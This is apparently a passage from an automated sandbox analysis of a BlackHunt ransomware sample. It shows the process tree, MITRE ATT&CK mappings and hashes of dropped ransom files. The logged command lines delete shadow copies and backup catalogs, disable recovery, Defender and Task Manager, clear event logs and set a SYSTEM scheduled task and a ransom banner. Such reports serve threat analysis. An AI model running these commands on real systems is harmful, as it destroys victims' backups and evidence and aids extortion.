    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2328
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe" /F
  2⤵
  PID:1400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2064
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:288
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2792
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2172
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2788
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1072
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1400
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2488
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:332
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2936
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1260
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2764
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1952
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2604
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1520
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2220
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1268
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe"
  2⤵
  - Deletes itself
  PID:964
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3000

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:2916

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
1⤵
- Interacts with shadow copies
PID:2440

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2836

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2916

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:2476

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:780

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2120

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
1⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2912

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2344

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:2260

C:\Windows\system32\vssadmin.exe
vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
1⤵
- Interacts with shadow copies
PID:2168

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2736

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:628

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1672

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1966240700207726467-18417839911517385060-1968241961-123075693910662508151949881805"
1⤵
PID:2844

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-60387653918387325741057056561-30076237418009039411502194273-1144458797-571138798"
1⤵
PID:2260

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "164285756-1702619090-6972660101014585868-89123139-1697892633-174554281459982138"
1⤵
PID:596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1336773935-14578122612053214292-423279089-667405179-1385237284382896941922211047"
1⤵
PID:2064

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1000

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-158721779115907756621608086059479646032-1607138152-1197394427-953412187600043255"
1⤵
PID:2196

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1280

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:2248

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
1⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1700

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2424

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
b80f7a1a134b41717f20f6d8928db4db

SHA1
9281095fd5a06bfa7be2f8c697ea6e149f86f5c2

SHA256
3d4cbf82f7556e6fb518a469aa68b905f65b15afdc0e8b745ce981971d82e0ad

SHA512
f4f270dc107b65deab7e6e099af82a60fc52cdc2ddb09f5d1153e87913d9790b75334fca782edf4098861e0e179fdae8b65ee1862e7de6db484e05808bf3c067

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
cba5ca158ce3e3e58fff716ce6dffa33

SHA1
7919d9a2c0df8c4abf524168ae11906570193f50

SHA256
d9f32ae2b2ebb217f3efb3a249db9db570810717c1f03c745170294bcd866d49

SHA512
877264bc839e9914155467ba180bd71ff9e7a03613651a49de34307374740f6826bcc60e53e72da4a6d949888879f69eb6ed44752ae0a0898ec5ab947b88fd85

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
91517e4300a994383b2f3875ba9da236

SHA1
efc62509e381156521c3435fcbe9453c1e5d3f9d

SHA256
791c30346f29fabd22935b0b309587a2466983a5aae8248e922b6191176a0379

SHA512
b1f406dfd5d12643663676e3fd64c8fb19ae9a36d7a0f01f5395bb9c35c939bcb42533460c951b643362c83f1ad8b05a804b158f865368f1f72b7f4587dce7dd

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads